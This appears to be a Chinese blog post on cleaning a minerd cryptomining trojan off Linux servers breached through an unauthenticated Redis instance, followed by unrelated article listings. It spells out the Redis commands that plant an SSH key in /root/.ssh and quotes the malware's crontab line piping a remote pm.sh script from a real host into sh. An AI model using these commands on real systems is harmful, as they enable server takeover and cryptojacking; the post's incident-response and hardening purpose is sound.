前几天,公司两台linux服务器,一台访问速度很慢,cpu跑满,一台免密码登录失效,公钥文件被改写成redis的key。用htop命令查询发现了minerd木马进程,初步猜测是redis没有配访问权限造成的。网上查询minerd木马,发现这是一个很常见的挖矿程序,相关猜测也得到了验证。

下文是网上搜索到的清除minerd木马方法。

现状描述

1、top可以看到,这个minerd 程序把cpu跑满了


2、ps aux | grep minerd
可知是这个程序: /opt/minerd

这个不是我们自己启动的,可以断定服务器被黑了
这个进程是root用户启动的,代码有漏洞可能性不大(web服务是www用户启动的),多半黑客已经登录服务器了


3、有可能是免密登录了,去/root/.ssh 目录下,并没有发现authorized_keys,但发现了KHK75NEOiq这个文件

查看 vim KHK75NEOiq
可以看到内容就是免密码登录的公钥


4、在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了这个文件了(.ssh/KHK75NEOiq)

猜想是这样的:通过authorized_keys免密码登录后,在这个目录下创建了KHK75NEOiq这个文件,修改了AuthorizedKeysFile的指向,就把authorized_keys这个文件删除了。


5、那么是写进来authorized_keys的那?

之前我处理过类似的问题,是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:

config set dir /root/.ssh
config set dbfilename authorized_keys
set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。


先堵住免登录漏洞

1、修改ssh端口
编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端口

2、禁止root用户登陆
编辑/etc/ssh/sshd_config文件中的PermitRootLogin 修改为no

3、修改无密码登陆的文件路径
编辑/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改为其他文件路径

4、删除 .ssh下的 KHK75NEOiq

5、不让外网直接连接
在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#号去掉,重启


找到木马守护进程

1、通常直接kill掉进程,是不好使的,肯定有守护进程,还有系统自启动,所以清理步骤是这样的:
1)干掉守护进程
2)干掉系统自启动
3)干掉木马进程

找到木马守护进程并干掉

守护进程有大概有两种存在形式,crontab 和常驻进程,常驻进程得慢慢分析,我们先看crontab,有一条不是我创建的任务。任务是:直接从远程下载一个脚本pm.sh 并执行。

2、我们来看看这个脚本

3、大致逻辑是这样的:
1)把 /10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab
2)把authorized_keys删掉,并创建免登录文件/root/.ssh/KHK75NEOiq,修改ssh配置重启
3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33 --Install),然后启动ntp

4、基本可以断定这个ntp就是守护进程,但看到ntp真的有些怕怕,ntp不是搞时间同步的吗,其实 Linux正常的ntp服务叫ntpd,并非ntp,很有迷惑性啊

5、但为了让自己放心,还是校验了一番
我们先从时间上校验,ntp是不是木马任务后创建的

查看这个木马任务第一次执行的时间
去/var/log下看cron的日志

6、Jul 24 09:23:01 第一次执行: curl -L http://r.chanstring.com/pm.sh?0703
Jul 24 09:30:01 第一次我们目前crontab里的任务:curl -fsSL http://r.chanstring.com/pm.sh?0706
Jul 24 09:49 脚本/etc/init.d/ntp的创建时间

从pm.sh这个脚本可知 curl下来/opt/KHK75NEOiq33这个文件,并执行安装 /opt/KHK75NEOiq33 --Install 比较耗时间,我执行了一下,在我的机器上是10多分钟。

所以创建时间上基本吻合

7、我们看一下ntp的随系统启动
runlevel 2 3 4 5都启动了,够狠的呀

8、看一下常用的3吧
可以看到 有个S50ntp 软链了脚本/etc/init.d/ntp

9、我们查看系统启动日志
vim /var/log/boot.log
有一条是Staring S50ntp,这个基本对应脚本/etc/init.d/ntp 中的 echo "Starting $name"

10、我们来看一下 /etc/init.d/ntp 这个脚本
$name应该就对应的值是 S50ntp,通过stdout_log,stderr_log,pid_file也得到了验证。

11、通过搜索安装文件(/opt/KHK75NEOiq33),可知看到 /opt/KHK75NEOiq33 --Install的过程中写入了ntp脚本 自启动 /opt/minerd等一系列的操作。

12、打开 /usr/local/etc/minerd.conf,内容就是/opt/minerd这个进程后的一些参数

13、好了 验证完毕,可以干掉这个ntp了


清理木马

1、去掉crontab文件中的有关木马内容:
/var/spool/cron/crontabs/root
/var/spool/cron/root

2、干掉守护进程ntp,并删除相关文件


3、干掉木马进程及其文件

4、干掉安装文件及免密登录的文件

5、干掉随系统启动的文件

6、top一下 一切都正常了!

7、重启一下,也没问题了

彻底清除Linux centos minerd木马的更多相关文章

  1. 彻底清除Linux centos minerd木马 实战  跟redis的设置有关

    top -c把cpu占用最多的进程找出来: Tasks: total, running, sleeping, stopped, zombie Cpu(s): 72.2%us, 5.9%sy, 0.0% ...

  2. redhat linux/CentOS 6/7 如何关闭防火墙?

    redhat linux/CentOS 6/7 如何关闭防火墙?关闭防火墙iptables的具体命令如下: 临时性的完全关闭防火墙,可以不重启机器(但是重启服务器后iptables防火墙服务会自动随系 ...

  3. 记录Linux CentOS 7系统完整部署Docker容器环境教程

    笔者之前有在"详细介绍Ubuntu 16.04系统环境安装Docker CE容器的过程"文章中有介绍到利用Ubuntu系统安装Docker容器环境的过程.如果我们有使用CentOS ...

  4. NO.4day LINUX centos 文件基本操作

    LINUX centos 文件基本操作 1 LINUX简介 Linux的定义:Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CP ...

  5. Linux(Centos )的网络内核参数优化来提高服务器并发处理能力【转】

    简介 提高服务器性能有很多方法,比如划分图片服务器,主从数据库服务器,和网站服务器在服务器.但是硬件资源额定有限的情况下,最大的压榨服务器的性能,提高服务器的并发处理能力,是很多运维技术人员思考的问题 ...

  6. .Net Core 项目发布到Linux - CentOS 7(二)用Supervisor守护netcore进程

    简介 supervisor可以保证程序崩溃后,可以重新把程序启动起来等相关功能. 安装 yum install -y supervisor 安装好后在/etc/会生成一个supervisord.con ...

  7. .NET Core部署到linux(CentOS)最全解决方案,入魔篇(使用Docker+Jenkins实现持续集成、自动化部署)

    通过前面三篇: .NET Core部署到linux(CentOS)最全解决方案,常规篇 .NET Core部署到linux(CentOS)最全解决方案,进阶篇(Supervisor+Nginx) .N ...

  8. Linux CentOS 配置Tomcat环境

    一.下载Tomcat 下载Tomcat方式也有两种,可以参考我的前一篇博文Linux CentOS配置JDK环境,这边就不再赘述. 二.在Linux处理Tomcat包 1.创建tomcat文件夹 mk ...

  9. NoSql1 在Linux(CentOS)上安装memcached及使用

    前言:       今天是初五,生活基本要从过年的节奏中回归到正常的生活了,所以想想也该想想与工作有关的事情了.我之前在工作中会经常使用memcached和redis,但是自己一直没有时间系统的好好看 ...

随机推荐

  1. 伸展树(Splay树)的简要操作

    伸展树(splay树),是二叉排序树的一种.[两个月之前写过,今天突然想写个博客...] 伸展树和一般的二叉排序树不同的是,在每次执行完插入.查询.删除等操作后,都会自动平衡这棵树.(说是自动,也就是 ...

  2. quartus ii有符号数的问题(待完善)

    1.有符号数是以补码的形式存储的,在modelsim仿真时,补码自动转换为有符号的十进制数. 2.关于截位的问题: 当只取寄存器中的其中m位时,这时候取得的数是按照无符号位来处理的? 3.reg型数据 ...

  3. 20170410Linux备课资料 --- 压缩与解压缩

    这节课我们来学习一下压缩与解压缩,那什么是压缩与解压缩呢? 联想一下Windows系统: 选中文件,右键选择即可 如果压缩,可以选择要压缩的格式,而解压缩直接选择就可以完成了 Linux是通过命令的方 ...

  4. iOS图片填充UIImageView(contentMode)

    本文主要形象的介绍一下UIView的contentMode属性: 核心代码 [self.prp_imageView setContentMode:UIViewContentModeScaleAspec ...

  5. Coordinator节点

    Coordinator节点 Coordinator 节点主要负责segment 的管理和分配.更具体的说,它同通过配置往historical 节点 load 或者 drop  segment .Coo ...

  6. CF #93 div1 B. Password KMP/Z

    题目链接:http://codeforces.com/problemset/problem/126/B 大意:给一个字符串,问最长的既是前缀又是后缀又是中缀(这里指在内部出现)的子串. 我自己的做法是 ...

  7. Ubuntu搭建mysql,Navicat Premium连接

    保存编辑结果与退出vim编辑器 https://jingyan.baidu.com/article/495ba8410ff14d38b30ede01.html 首先,我们需要使用apt安装mysql, ...

  8. linux 基础(1)

    第一章 Linux 基础知识(一) 一.硬件介绍: 由一条总线把CPU.内存和I/O设备串联起来并与其他设备进行通信.CPU负责运算,内存用于储存临时变量,硬盘用于储存数据.1.1处理器CPU 从内存 ...

  9. 关于Integer与int

    integer a=new integer(1); integer b=new integer(1); int c=1; integer d=1; a==b  false因为地址不同: a==c  t ...

  10. 蓝桥杯-放麦子-java

    /* (程序头部注释开始) * 程序的版权和版本声明部分 * Copyright (c) 2016, 广州科技贸易职业学院信息工程系学生 * All rights reserved. * 文件名称: ...